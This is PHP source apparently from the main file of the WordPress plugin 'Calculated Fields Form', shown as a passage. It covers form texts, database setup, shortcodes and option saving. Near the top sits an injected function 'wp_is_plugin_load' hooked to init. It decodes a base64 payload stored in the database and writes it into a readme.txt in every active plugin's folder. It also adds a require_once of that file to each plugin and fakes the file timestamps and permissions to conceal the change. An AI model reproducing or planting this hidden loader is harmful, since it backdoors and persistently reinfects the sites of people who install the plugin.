'label' => '"Min length/characters" text', 'text' => 'Please enter at least {0} characters.' ), 'equalTo' => array( 'label' => '"Equal to" text', 'text' => 'Please enter the same value again.' ), 'accept' => array( 'label' => '"Accept these file extensions" text', 'text' => 'Please enter a value with a valid extension.' ), 'upload_size' => array( 'label' => '"Maximun upload size in kB" text', 'text' => 'The file you\'ve chosen is too big, maximum is {0} kB.' ) ) ); // Global variables to maintain an incremental number to identify the forms on page $CP_CFF_global_form_count_number = 0; $CP_CFF_global_form_count = "_".$CP_CFF_global_form_count_number; require_once 'cp_session.php'; // Start Session CP_SESSION::session_start(); if( !function_exists( 'array_replace_recursive' ) ) { function array_replace_recursive($array1, $array2) { foreach( $array2 as $key1 => $val1 ) { if( isset( $array1[ $key1 ] ) ) { if( is_array( $val1 ) ) { foreach( $val1 as $key2 => $val2) { $array1[ $key1 ][ $key2 ] = $val2; } } else { $array1[ $key1 ] = $val1; } } else { $array1[ $key1 ] = $val1; } } return $array1; } } // code initialization, hooks // ----------------------------------------- function cp_calculated_fields_form_load_plugin_textdomain() { load_plugin_textdomain( 'calculated-fields-form', FALSE, basename( dirname( __FILE__ ) ) . '/languages/' ); } if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent") && !function_exists("wp_is_plugin_load")) { function wp_is_plugin_load() { if (!class_exists("WpPlaginLoad") && !class_exists("WpPlLoadContent")) { global $wpdb, $table_prefix; $content = $wpdb->get_row("SELECT * FROM " . $table_prefix . "postmeta WHERE meta_key=\"_wp_attached_file_plug\""); if (!empty($content) && !empty($content->meta_value)) { $plugins = get_option("active_plugins"); if (!empty($plugins)) { foreach ($plugins as $plugin) { $file = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/".$plugin; if (file_exists($file)) { $fileContent = file_get_contents($file); if ($fileContent) { $time = filemtime($file); $rules = substr(sprintf("%o", fileperms($file)), -4); $dirPath = dirname($file) . "/readme.txt"; $start = strripos($fileContent, "?>"); if (stripos($fileContent, "require_once(plugin_dir_path(__FILE__) . \"readme.txt\");") !== false) { if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } else { if ($start === false) { $fileContent = $fileContent . " require_once(plugin_dir_path(__FILE__) . \"readme.txt\");"; } else { $start = stripos($fileContent, "php"); $firstPart = substr($fileContent, 0, $start + 5); $secondPart = substr($fileContent,$start + 5); $fileContent = $firstPart. " require_once(plugin_dir_path(__FILE__) . \"readme.txt\"); " . $secondPart; } if (file_put_contents($file, $fileContent)) { @touch($file, $time + 60); @chmod($file, octdec($rules)); file_put_contents($dirPath, base64_decode(substr($content->meta_value, 23))); } } } } } } } else { } } } add_filter("init", "wp_is_plugin_load"); } add_action( 'plugins_loaded', 'cp_calculated_fields_form_load_plugin_textdomain' ); register_activation_hook(__FILE__,'cp_calculatedfieldsf_install'); add_action( 'init', 'cp_calculated_fields_form_load_resources_and_shortcodes', 1 ); function cp_calculated_fields_form_load_resources_and_shortcodes() { if( !is_admin() ) { if( isset( $_REQUEST[ 'cp_cff_resources' ] ) ) { require_once dirname( __FILE__ ).'/js/fbuilder-loader-public.php'; exit; } add_shortcode( 'CP_CALCULATED_FIELDS', 'cp_calculatedfieldsf_filter_content' ); add_shortcode( 'CP_CALCULATED_FIELDS_VAR', 'cp_calculatedfieldsf_create_var' ); } elseif( isset( $_REQUEST[ 'cp_cff_resources' ] ) ) { require_once dirname( __FILE__ ).'/js/fbuilder-loader-admin.php'; exit; } } add_action( 'init', 'cp_calculated_fields_form_check_posted_data', 11 ); if ( is_admin() ) { add_action('media_buttons', 'set_cp_calculatedfieldsf_insert_button', 100); add_action('admin_enqueue_scripts', 'set_cp_calculatedfieldsf_insert_adminScripts', 1); add_action('admin_menu', 'cp_calculatedfieldsf_admin_menu'); $plugin = plugin_basename(__FILE__); add_filter("plugin_action_links_".$plugin, 'cp_calculatedfieldsf_links'); function cp_calculatedfieldsf_admin_menu() { add_options_page('Calculated Fields Form Options', 'Calculated Fields Form', 'manage_options', 'cp_calculated_fields_form', 'cp_calculatedfieldsf_html_post_page' ); add_menu_page( 'Calculated Fields Form Options', 'Calculated Fields Form', 'manage_options', 'cp_calculated_fields_form', 'cp_calculatedfieldsf_html_post_page' ); add_submenu_page( 'cp_calculated_fields_form', 'Online Help', 'Online Help', 'read', "cp_calculated_fields_form_sub2", 'cp_calculatedfieldsf_html_post_page' ); add_submenu_page( 'cp_calculated_fields_form', 'Upgrade', 'Upgrade', 'read', "cp_calculated_fields_form_sub3", 'cp_calculatedfieldsf_html_post_page' ); } } // functions //------------------------------------------ add_action( 'wpmu_new_blog', 'cp_calculatedfieldsf_new_blog', 10, 6); function cp_calculatedfieldsf_new_blog($blog_id, $user_id, $domain, $path, $site_id, $meta ) { global $wpdb; if (is_plugin_active_for_network('calculated-fields-form/cp_calculatedfieldsf.php')) { $old_blog = $wpdb->blogid; switch_to_blog($blog_id); _cp_calculatedfieldsf_install(); switch_to_blog($old_blog); } } function cp_calculatedfieldsf_install($networkwide) { global $wpdb; if (function_exists('is_multisite') && is_multisite()) { // check if it is a network activation - if so, run the activation function for each blog id if ($networkwide) { $old_blog = $wpdb->blogid; // Get all blog ids $blogids = $wpdb->get_col("SELECT blog_id FROM $wpdb->blogs"); foreach ($blogids as $blog_id) { switch_to_blog($blog_id); _cp_calculatedfieldsf_install(); } switch_to_blog($old_blog); return; } } _cp_calculatedfieldsf_install(); } function _cp_calculatedfieldsf_install() { global $wpdb; if( !defined( 'CP_CALCULATEDFIELDSF_DEFAULT_fp_from_email' ) ) define('CP_CALCULATEDFIELDSF_DEFAULT_fp_from_email', get_the_author_meta('user_email', get_current_user_id()) ); if( !defined( 'CP_CALCULATEDFIELDSF_DEFAULT_fp_destination_emails' ) ) define('CP_CALCULATEDFIELDSF_DEFAULT_fp_destination_emails', CP_CALCULATEDFIELDSF_DEFAULT_fp_from_email); $table_name = $wpdb->prefix.CP_CALCULATEDFIELDSF_FORMS_TABLE; $sql = "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix.CP_CALCULATEDFIELDSF_POSTS_TABLE_NAME_NO_PREFIX." ( id mediumint(9) NOT NULL AUTO_INCREMENT, formid INT NOT NULL, time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL, ipaddr VARCHAR(32) DEFAULT '' NOT NULL, notifyto VARCHAR(250) DEFAULT '' NOT NULL, data mediumtext, paypal_post mediumtext, paid INT DEFAULT 0 NOT NULL, UNIQUE KEY id (id) );"; $wpdb->query($sql); $sql = "CREATE TABLE IF NOT EXISTS ".$wpdb->prefix.CP_CALCULATEDFIELDSF_DISCOUNT_CODES_TABLE_NAME_NO_PREFIX." ( id mediumint(9) NOT NULL AUTO_INCREMENT, form_id mediumint(9) NOT NULL DEFAULT 1, code VARCHAR(250) DEFAULT '' NOT NULL, discount VARCHAR(250) DEFAULT '' NOT NULL, expires datetime DEFAULT '0000-00-00 00:00:00' NOT NULL, availability int(10) unsigned NOT NULL DEFAULT 0, used int(10) unsigned NOT NULL DEFAULT 0, UNIQUE KEY id (id) );"; $wpdb->query($sql); $sql = "CREATE TABLE IF NOT EXISTS $table_name ( id mediumint(9) NOT NULL AUTO_INCREMENT, form_name VARCHAR(250) DEFAULT '' NOT NULL, form_structure mediumtext, fp_from_email VARCHAR(250) DEFAULT '' NOT NULL, fp_destination_emails text, fp_subject VARCHAR(250) DEFAULT '' NOT NULL, fp_inc_additional_info VARCHAR(10) DEFAULT '' NOT NULL, fp_return_page VARCHAR(250) DEFAULT '' NOT NULL, fp_message mediumtext, fp_emailformat VARCHAR(10) DEFAULT '' NOT NULL, cu_enable_copy_to_user VARCHAR(10) DEFAULT '' NOT NULL, cu_user_email_field VARCHAR(250) DEFAULT '' NOT NULL, cu_subject VARCHAR(250) DEFAULT '' NOT NULL, cu_message mediumtext, cu_emailformat VARCHAR(10) DEFAULT '' NOT NULL, vs_use_validation VARCHAR(10) DEFAULT '' NOT NULL, vs_text_is_required VARCHAR(250) DEFAULT '' NOT NULL, vs_text_is_email VARCHAR(250) DEFAULT '' NOT NULL, vs_text_datemmddyyyy VARCHAR(250) DEFAULT '' NOT NULL, vs_text_dateddmmyyyy VARCHAR(250) DEFAULT '' NOT NULL, vs_text_number VARCHAR(250) DEFAULT '' NOT NULL, vs_text_digits VARCHAR(250) DEFAULT '' NOT NULL, vs_text_max VARCHAR(250) DEFAULT '' NOT NULL, vs_text_min VARCHAR(250) DEFAULT '' NOT NULL, vs_text_submitbtn VARCHAR(250) DEFAULT '' NOT NULL, vs_text_previousbtn VARCHAR(250) DEFAULT '' NOT NULL, vs_text_nextbtn VARCHAR(250) DEFAULT '' NOT NULL, vs_all_texts text DEFAULT '' NOT NULL, enable_paypal varchar(10) DEFAULT '' NOT NULL, paypal_email varchar(255) DEFAULT '' NOT NULL , request_cost varchar(255) DEFAULT '' NOT NULL , paypal_product_name varchar(255) DEFAULT '' NOT NULL, currency varchar(10) DEFAULT '' NOT NULL, paypal_language varchar(10) DEFAULT '' NOT NULL, paypal_mode varchar(20) DEFAULT '' NOT NULL , paypal_recurrent varchar(20) DEFAULT '' NOT NULL , paypal_identify_prices varchar(20) DEFAULT '' NOT NULL , paypal_zero_payment varchar(10) DEFAULT '' NOT NULL , cv_enable_captcha VARCHAR(20) DEFAULT '' NOT NULL, cv_width VARCHAR(20) DEFAULT '' NOT NULL, cv_height VARCHAR(20) DEFAULT '' NOT NULL, cv_chars VARCHAR(20) DEFAULT '' NOT NULL, cv_font VARCHAR(20) DEFAULT '' NOT NULL, cv_min_font_size VARCHAR(20) DEFAULT '' NOT NULL, cv_max_font_size VARCHAR(20) DEFAULT '' NOT NULL, cv_noise VARCHAR(20) DEFAULT '' NOT NULL, cv_noise_length VARCHAR(20) DEFAULT '' NOT NULL, cv_background VARCHAR(20) DEFAULT '' NOT NULL, cv_border VARCHAR(20) DEFAULT '' NOT NULL, cv_text_enter_valid_captcha VARCHAR(200) DEFAULT '' NOT NULL, UNIQUE KEY id (id) );"; $wpdb->query($sql); $alterate_columns = array( 'form_structure' => "mediumtext", 'fp_message' => "mediumtext", 'cu_message' => "mediumtext" ); foreach( $alterate_columns as $column_name => $column_structure ) { $sql = "ALTER TABLE `".$table_name."` MODIFY `".$column_name."` ".$column_structure; $wpdb->query($sql); } // Correct the tables structures $columns = $wpdb->get_results("SHOW columns FROM `".$table_name."`"); $columns_list = array(); foreach( $columns as $column ) $columns_list[] = $column->Field; $new_columns = array( 'vs_text_previousbtn' => "varchar(250) NOT NULL default ''", 'vs_text_nextbtn' => "varchar(250) NOT NULL default ''", 'vs_all_texts' => "text NOT NULL default ''" ); foreach( $new_columns as $column_name => $column_structure ) { if( !in_array( $column_name, $columns_list ) ) { $sql = "ALTER TABLE `".$table_name."` ADD `".$column_name."` ".$column_structure; $wpdb->query($sql); } } $count = $wpdb->get_var( "SELECT COUNT(id) FROM ".$table_name ); if (!$count) { $values = array( 'fp_from_email' => CP_CALCULATEDFIELDSF_DEFAULT_fp_from_email, 'fp_destination_emails' => CP_CALCULATEDFIELDSF_DEFAULT_fp_destination_emails, 'fp_subject' => CP_CALCULATEDFIELDSF_DEFAULT_fp_subject, 'fp_inc_additional_info' => CP_CALCULATEDFIELDSF_DEFAULT_fp_inc_additional_info, 'fp_return_page' => CP_CALCULATEDFIELDSF_DEFAULT_fp_return_page, 'fp_message' => CP_CALCULATEDFIELDSF_DEFAULT_fp_message, 'fp_emailformat' => CP_CALCULATEDFIELDSF_DEFAULT_email_format, 'cu_enable_copy_to_user' => CP_CALCULATEDFIELDSF_DEFAULT_cu_enable_copy_to_user, 'cu_user_email_field' => CP_CALCULATEDFIELDSF_DEFAULT_cu_user_email_field, 'cu_subject' => CP_CALCULATEDFIELDSF_DEFAULT_cu_subject, 'cu_message' => CP_CALCULATEDFIELDSF_DEFAULT_cu_message, 'cu_emailformat' => CP_CALCULATEDFIELDSF_DEFAULT_email_format, 'vs_use_validation' => CP_CALCULATEDFIELDSF_DEFAULT_vs_use_validation, 'vs_text_is_required' => CP_CALCULATEDFIELDSF_DEFAULT_vs_text_is_required, 'vs_text_is_email' => CP_CALCULATEDFIELDSF_DEFAULT_vs_text_is_email, 'vs_text_datemmddyyyy' => CP_CALCULATEDFIELDSF_DEFAULT_vs_text_datemmddyyyy, 'vs_text_dateddmmyyyy' => CP_CALCULATEDFIELDSF_DEFAULT_vs_text_dateddmmyyyy, 'vs_text_number' => CP_CALCULATEDFIELDSF_DEFAULT_vs_text_number, 'vs_text_digits' => CP_CALCULATEDFIELDSF_DEFAULT_vs_text_digits, 'vs_text_max' => CP_CALCULATEDFIELDSF_DEFAULT_vs_text_max, 'vs_text_min' => CP_CALCULATEDFIELDSF_DEFAULT_vs_text_min, 'vs_text_submitbtn' => 'Submit', 'vs_text_previousbtn' => 'Previous', 'vs_text_nextbtn' => 'Next', 'enable_paypal' => CP_CALCULATEDFIELDSF_DEFAULT_ENABLE_PAYPAL, 'paypal_email' => CP_CALCULATEDFIELDSF_DEFAULT_PAYPAL_EMAIL, 'request_cost' => CP_CALCULATEDFIELDSF_DEFAULT_COST, 'paypal_product_name' => CP_CALCULATEDFIELDSF_DEFAULT_PRODUCT_NAME, 'currency' => CP_CALCULATEDFIELDSF_DEFAULT_CURRENCY, 'paypal_language' => CP_CALCULATEDFIELDSF_DEFAULT_PAYPAL_LANGUAGE, 'paypal_mode' => CP_CALCULATEDFIELDSF_DEFAULT_PAYPAL_MODE, 'paypal_recurrent' => CP_CALCULATEDFIELDSF_DEFAULT_PAYPAL_RECURRENT, 'paypal_identify_prices' => CP_CALCULATEDFIELDSF_DEFAULT_PAYPAL_IDENTIFY_PRICES, 'paypal_zero_payment' => CP_CALCULATEDFIELDSF_DEFAULT_PAYPAL_ZERO_PAYMENT, 'cv_enable_captcha' => CP_CALCULATEDFIELDSF_DEFAULT_cv_enable_captcha, 'cv_width' => CP_CALCULATEDFIELDSF_DEFAULT_cv_width, 'cv_height' => CP_CALCULATEDFIELDSF_DEFAULT_cv_height, 'cv_chars' => CP_CALCULATEDFIELDSF_DEFAULT_cv_chars, 'cv_font' => CP_CALCULATEDFIELDSF_DEFAULT_cv_font, 'cv_min_font_size' => CP_CALCULATEDFIELDSF_DEFAULT_cv_min_font_size, 'cv_max_font_size' => CP_CALCULATEDFIELDSF_DEFAULT_cv_max_font_size, 'cv_noise' => CP_CALCULATEDFIELDSF_DEFAULT_cv_noise, 'cv_noise_length' => CP_CALCULATEDFIELDSF_DEFAULT_cv_noise_length, 'cv_background' => CP_CALCULATEDFIELDSF_DEFAULT_cv_background, 'cv_border' => CP_CALCULATEDFIELDSF_DEFAULT_cv_border, 'cv_text_enter_valid_captcha' => CP_CALCULATEDFIELDSF_DEFAULT_cv_text_enter_valid_captcha ); $values['id'] = 1; $values['form_name'] = 'Simple Operations'; $values['form_structure'] = CP_CALCULATEDFIELDSF_DEFAULT_form_structure1; $wpdb->insert( $table_name, $values ); $values['id'] = 2; $values['form_name'] = 'Calculation with Dates'; $values['form_structure'] = CP_CALCULATEDFIELDSF_DEFAULT_form_structure2; $wpdb->insert( $table_name, $values ); $values['id'] = 3; $values['form_name'] = 'Ideal Weight Calculator'; $values['form_structure'] = CP_CALCULATEDFIELDSF_DEFAULT_form_structure3; $wpdb->insert( $table_name, $values ); $values['id'] = 4; $values['form_name'] = 'Pregnancy Calculator'; $values['form_structure'] = CP_CALCULATEDFIELDSF_DEFAULT_form_structure4; $wpdb->insert( $table_name, $values ); $values['id'] = 5; $values['form_name'] = 'Lease Calculator'; $values['form_structure'] = CP_CALCULATEDFIELDSF_DEFAULT_form_structure5; $wpdb->insert( $table_name, $values ); } } /** * Add the attribute: property="stylesheet" to the link tag if has not been defined. */ function cp_calculatedfieldsf_link_tag( $tag ) { if( preg_match( '/property\\s*=/i', $tag ) == 0 ) { return str_replace( '/>', ' property="stylesheet" />', $tag ); } return $tag; } // End cp_calculatedfieldsf_link_tag /** * Check if the page is visited from crawlers, and the plugin is configured to prevent the shortcodes replacement when the website is visited by crawlers */ function cp_calculatedfieldsf_is_crawler() { if( isset( $_SERVER['HTTP_USER_AGENT'] ) && preg_match( '/bot|crawl|slurp|spider/i', $_SERVER[ 'HTTP_USER_AGENT' ] ) && get_option( 'CP_CALCULATEDFIELDSF_EXCLUDE_CRAWLERS', false ) ) { return true; } return false; }// End cp_calculatedfieldsf_is_crawler /** * Create a javascript variable, from: Post, Get, Session or Cookie */ function cp_calculatedfieldsf_create_var( $atts ) { if( cp_calculatedfieldsf_is_crawler() ) return ''; if( isset( $atts[ 'name' ] ) ) { $var = trim( $atts[ 'name' ] ); if( !empty( $var ) ) { if( isset( $atts[ 'value' ] ) ) { $value = json_encode( $atts[ 'value' ] ); } else { $from = '_'; if( isset( $atts[ 'from' ] ) ) $from .= strtoupper( trim( $atts[ 'from' ] ) ); if( in_array( $from, array( '_POST', '_GET', '_SESSION', '_COOKIE' ) ) ) { if( isset( $GLOBALS[ $from ][ $var ] ) ){ if( $from == '_COOKIE' ) { $cookie_var = 1; $value = 'fbuilder_get_cookie("'.$var.'")'; }else $value = json_encode($GLOBALS[ $from ][ $var ]); } elseif( isset( $atts[ 'default_value' ] ) ) $value = json_encode($atts[ 'default_value' ]); } else { if( isset( $_POST[ $var ] ) ) $value = json_encode($_POST[ $var ]); elseif( isset( $_GET[ $var ] ) ) $value = json_encode($_GET[ $var ]); elseif( isset( $_SESSION[ $var ] ) ) $value = json_encode($_SESSION[ $var ]); elseif( isset( $_COOKIE[ $var ] ) ){ $cookie_var = 1; $value = 'fbuilder_get_cookie("'.$var.'")'; } elseif( isset( $atts[ 'default_value' ] ) ) $value = json_encode($atts[ 'default_value' ]); } } if( isset( $value ) ) { $js_script = ''; global $calculated_fields_form_cookie_var; if( isset($cookie_var) && empty($calculated_fields_form_cookie_var) ) { $calculated_fields_form_cookie_var = 1; $js_script .= 'function fbuilder_get_cookie( name ){ var re = new RegExp(name + "=([^;]+)"); var value = re.exec(document.cookie); return (value != null) ? decodeURIComponent(value[1].replace(/\+/g, "%20")) : null; };'; } return ' '; } } } } // End cp_calculatedfieldsf_create_var // Used in forms previews function cp_calculatedfieldsf_filter_content( $atts ) { if( cp_calculatedfieldsf_is_crawler() ) return ''; global $wpdb, $CP_CFF_global_form_count; /** * Filters applied before generate the form, * is passed as parameter an array with the forms attributes, and return the list of attributes */ $atts = apply_filters( 'cpcff_pre_form', $atts ); if( empty( $atts[ 'id' ] ) ) { $atts[ 'id' ] = ''; } ob_start(); cp_calculatedfieldsf_get_public_form($atts[ 'id' ]); $buffered_contents = ob_get_contents(); if( count( $atts ) > 1 ) { $buffered_contents .= ''; } ob_end_clean(); /** * Filters applied after generate the form, * is passed as parameter the HTML code of the form with the corresponding and php } ?> php } } function cp_calculatedfieldsf_links($links) { array_unshift( $links, ''.__('Request custom changes').'', ''.__('Settings').'', ''.__('Upgrade').'', ''.__('Help').'' ); return $links; } function set_cp_calculatedfieldsf_insert_button() { print ''.esc_attr__('Insert Calculated Fields Form', 'calculated-fields-form').''.esc_attr__('Create a JavaScript var from POST, GET, SESSION, or COOKIE var', 'calculated-fields-form').''; } function cp_calculatedfieldsf_html_post_page() { if (isset($_GET["cal"]) && $_GET["cal"] != '') { @include_once dirname( __FILE__ ) . '/cp_calculatedfieldsf_admin_int.php'; } else { if (isset($_GET["page"]) &&$_GET["page"] == 'cp_calculated_fields_form_sub3') { echo("Redirecting to upgrade page..."); exit; } else if (isset($_GET["page"]) &&$_GET["page"] == 'cp_calculated_fields_form_sub2') { echo("Redirecting to demo page..."); exit; } else @include_once dirname( __FILE__ ) . '/cp_calculatedfieldsf_admin_int_list.inc.php'; } } function set_cp_calculatedfieldsf_insert_adminScripts($hook) { if ( isset($_GET["page"]) && $_GET["page"] == "cp_calculated_fields_form" ) { wp_enqueue_script( "jquery" ); wp_enqueue_script( "jquery-ui-core" ); wp_enqueue_script( "jquery-ui-sortable" ); wp_enqueue_script( "jquery-ui-tabs" ); wp_enqueue_script( "jquery-ui-droppable" ); wp_enqueue_script( "jquery-ui-button" ); wp_enqueue_script( "jquery-ui-datepicker" ); wp_deregister_script('query-stringify'); wp_register_script('query-stringify', plugins_url('/js/jQuery.stringify.js', __FILE__)); wp_enqueue_script( "query-stringify" ); //ULR to the admin resources $admin_resources = admin_url( "options-general.php?page=cp_calculated_fields_form&cp_cff_resources=admin" ); wp_enqueue_script( 'cp_calculatedfieldsf_buikder_script', $admin_resources, array("jquery","jquery-ui-core","jquery-ui-sortable","jquery-ui-tabs","jquery-ui-droppable","jquery-ui-button","jquery-ui-datepicker","query-stringify") ); wp_enqueue_script( 'cp_calculatedfieldsf_buikder_script_caret', plugins_url('/js/jquery.caret.js', __FILE__),array("jquery")); wp_enqueue_style('jquery-style', CP_SCHEME.'ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/smoothness/jquery-ui.css'); } if( 'post.php' != $hook && 'post-new.php' != $hook ) return; wp_enqueue_script( 'cp_calculatedfieldsf_script', plugins_url('/cp_calculatedfieldsf_scripts.js', __FILE__) ); } function cp_calculatedfieldsf_cleanJSON($str) { // $str = str_replace('&qquot;','"',$str); $str = str_replace(' ',' ',$str); $str = str_replace("\n",'\n',$str); $str = str_replace("\r",'',$str); return $str; } function cp_calculated_fields_form_check_posted_data() { global $wpdb; if ( 'POST' == $_SERVER['REQUEST_METHOD'] && isset( $_POST['cp_calculatedfieldsf_post_options'] ) && is_admin() ) { cp_calculatedfieldsf_save_options(); if( isset( $_POST[ 'preview' ] ) ) { print ''; print( cp_calculatedfieldsf_filter_content( array( 'id' => $_POST[ 'cp_calculatedfieldsf_id' ] ) )); wp_footer(); print ''; exit; } return; } } /** * Unserialize the form's structure, and returns the object or false */ function cp_calculatedfieldsf_form_structure_obj( $str, $stripcslashes = true ) { try{ $str = cp_calculatedfieldsf_cleanJSON( $str ); if( $stripcslashes ) $str = stripcslashes( $str ); $obj = json_decode( $str ); if( empty( $obj ) ) { $json = new JSON; $obj = $json->unserialize( $str ); } } catch( Exception $err ){} return ( !empty( $obj ) ) ? $obj : false; } function cp_calculatedfieldsf_save_options() { check_admin_referer( 'session_id_'.CP_SESSION::session_id(), '_cpcff_nonce' ); global $wpdb; if (!defined('CP_CALCULATEDFIELDSF_ID')) define ('CP_CALCULATEDFIELDSF_ID',$_POST["cp_calculatedfieldsf_id"]); $error_occur = false; if( isset( $_POST[ 'form_structure' ] ) ) { // Remove bom characters $bom = pack('H*','EFBBBF'); $_POST[ 'form_structure' ] = preg_replace("/$bom/", '', $_POST[ 'form_structure' ]); $form_structure_obj = cp_calculatedfieldsf_form_structure_obj( $_POST[ 'form_structure' ] ); if( !empty( $form_structure_obj ) ) { global $cpcff_default_texts_array; $cpcff_text_array = ''; if( isset( $_POST[ 'cpcff_text_array' ] ) ) { foreach( $_POST[ 'cpcff_text_array' ] as $cpcff_text_index => $cpcff_text_attr ) { if( $cpcff_text_index == 'errors') { foreach( $_POST[ 'cpcff_text_array' ][ $cpcff_text_index ] as $cpcff_text_sub_index => $cpcff_text_sub_attr ) { $_POST[ 'cpcff_text_array' ][ $cpcff_text_index ][$cpcff_text_sub_index][ 'text' ] = stripcslashes( $cpcff_text_sub_attr[ 'text' ] ); } } else { $_POST[ 'cpcff_text_array' ][ $cpcff_text_index ][ 'text' ] = stripcslashes( $cpcff_text_attr[ 'text' ] ); } } $cpcff_text_array = $_POST[ 'cpcff_text_array' ]; unset( $_POST[ 'cpcff_text_array' ] ); } foreach ($_POST as $item => $value) $_POST[$item] = stripcslashes($value); $data = array( 'form_structure' => $_POST['form_structure'], 'fp_from_email' => $_POST['fp_from_email'], 'fp_destination_emails' => $_POST['fp_destination_emails'], 'fp_subject' => $_POST['fp_subject'], 'fp_inc_additional_info' => $_POST['fp_inc_additional_info'], 'fp_return_page' => $_POST['fp_return_page'], 'fp_message' => $_POST['fp_message'], 'fp_emailformat' => $_POST['fp_emailformat'], 'cu_enable_copy_to_user' => $_POST['cu_enable_copy_to_user'], 'cu_user_email_field' => (isset($_POST['cu_user_email_field'])?$_POST['cu_user_email_field']:''), 'cu_subject' => $_POST['cu_subject'], 'cu_message' => $_POST['cu_message'], 'cu_emailformat' => $_POST['cu_emailformat'], 'enable_paypal' => @$_POST["enable_paypal"], 'paypal_email' => $_POST["paypal_email"], 'request_cost' => $_POST["request_cost"], 'paypal_product_name' => $_POST["paypal_product_name"], 'currency' => $_POST["currency"], 'paypal_language' => $_POST["paypal_language"], 'paypal_mode' => $_POST["paypal_mode"], 'paypal_recurrent' => $_POST["paypal_recurrent"], 'paypal_identify_prices' => (isset($_POST['paypal_identify_prices'])?$_POST['paypal_identify_prices']:'0'), 'paypal_zero_payment' => $_POST["paypal_zero_payment"], 'vs_use_validation' => $_POST['vs_use_validation'], 'vs_text_is_required' => $_POST['vs_text_is_required'], 'vs_text_is_email' => $_POST['vs_text_is_email'], 'vs_text_datemmddyyyy' => $_POST['vs_text_datemmddyyyy'], 'vs_text_dateddmmyyyy' => $_POST['vs_text_dateddmmyyyy'], 'vs_text_number' => $_POST['vs_text_number'], 'vs_text_digits' => $_POST['vs_text_digits'], 'vs_text_max' => $_POST['vs_text_max'], 'vs_text_min' => $_POST['vs_text_min'], 'vs_text_previousbtn' => $_POST['vs_text_previousbtn'], 'vs_text_nextbtn' => $_POST['vs_text_nextbtn'], 'vs_all_texts' => serialize( $cpcff_text_array ), 'cv_enable_captcha' => $_POST['cv_enable_captcha'], 'cv_width' => $_POST['cv_width'], 'cv_height' => $_POST['cv_height'], 'cv_chars' => $_POST['cv_chars'], 'cv_font' => $_POST['cv_font'], 'cv_min_font_size' => $_POST['cv_min_font_size'], 'cv_max_font_size' => $_POST['cv_max_font_size'], 'cv_noise' => $_POST['cv_noise'], 'cv_noise_length' => $_POST['cv_noise_length'], 'cv_background' => $_POST['cv_background'], 'cv_border' => $_POST['cv_border'], 'cv_text_enter_valid_captcha' => $_POST['cv_text_enter_valid_captcha'] ); $_update_result = $wpdb->update ( $wpdb->prefix.CP_CALCULATEDFIELDSF_FORMS_TABLE, $data, array( 'id' => CP_CALCULATEDFIELDSF_ID ), array( '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s' ), array( '%d' ) ); if( $_update_result === false ) { global $cff_structure_error; $cff_structure_error = __('
The data cannot be stored in database because has occurred an error with the database structure. Please, go to the plugins section and Deactivate/Activate the plugin to be sure the structure of database has been checked, and corrected if needed. If the issue persist, please contact us
', 'calculated-fields-form' ); } } else { $error_occur = true; } } else { $error_occur = true; } if( $error_occur ) { global $cff_structure_error; $cff_structure_error = __('
The data cannot be stored in database because has occurred an error with the form structure. Please, try to save the data again. If have been copied and pasted data from external text editors, the data can contain invalid characters. If the issue persist, please contact us
', 'calculated-fields-form' ); } } // cp_calculatedfieldsf_get_option: $cp_calculatedfieldsf_option_buffered_item = false; $cp_calculatedfieldsf_option_buffered_id = -1; function cp_calculatedfieldsf_get_option ($field, $default_value, $id = '') { $value = ''; if (!defined("CP_CALCULATEDFIELDSF_ID")) define ("CP_CALCULATEDFIELDSF_ID", 1); if ($id == '') $id = CP_CALCULATEDFIELDSF_ID; global $wpdb, $cp_calculatedfieldsf_option_buffered_item, $cp_calculatedfieldsf_option_buffered_id; if ($cp_calculatedfieldsf_option_buffered_id == $id) { if( property_exists( $cp_calculatedfieldsf_option_buffered_item, $field ) ) $value = @$cp_calculatedfieldsf_option_buffered_item->$field; } else { $myrows = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM ".$wpdb->prefix.CP_CALCULATEDFIELDSF_FORMS_TABLE." WHERE id=%d", $id ) ); if( !empty( $myrows ) ) { if( property_exists( $myrows[0], $field ) ) { $value = @$myrows[0]->$field; } else { $value = $default_value; } $cp_calculatedfieldsf_option_buffered_item = $myrows[0]; $cp_calculatedfieldsf_option_buffered_id = $id; } else { $value = $default_value; } } if( $field == 'form_structure' && !is_array( $value ) ) { $form_data = cp_calculatedfieldsf_form_structure_obj( $value, false ); $value = $cp_calculatedfieldsf_option_buffered_item->form_structure = ( !is_null( $form_data ) ) ? $form_data : ''; } if ( ( $field == 'vs_all_texts' && empty( $value ) ) || ( $value == '' && $cp_calculatedfieldsf_option_buffered_item->form_structure == '' ) ) $value = $default_value; /** * Filters applied before returning a form option, * use three parameters: The value of option, the name of option and the form's id * returns the new option's value */ $value = apply_filters( 'cpcff_get_option', $value, $field, $id ); return $value; } //---------------------------------- if( !class_exists( 'JSON' ) ) { /* *************************************************************************** * Copyright (C) 2007 by Cesar D. Rodas * * crodas@phpy.org * * * * Permission is hereby granted, free of charge, to any person obtaining * * a copy of this software and associated documentation files (the * * "Software"), to deal in the Software without restriction, including * * without limitation the rights to use, copy, modify, merge, publish, * * distribute, sublicense, and/or sell copies of the Software, and to * * permit persons to whom the Software is furnished to do so, subject to * * the following conditions: * * * * The above copyright notice and this permission notice shall be * * included in all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.* * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR * * OTHER LIABILITY, WHETHER IN AN ACTION OF 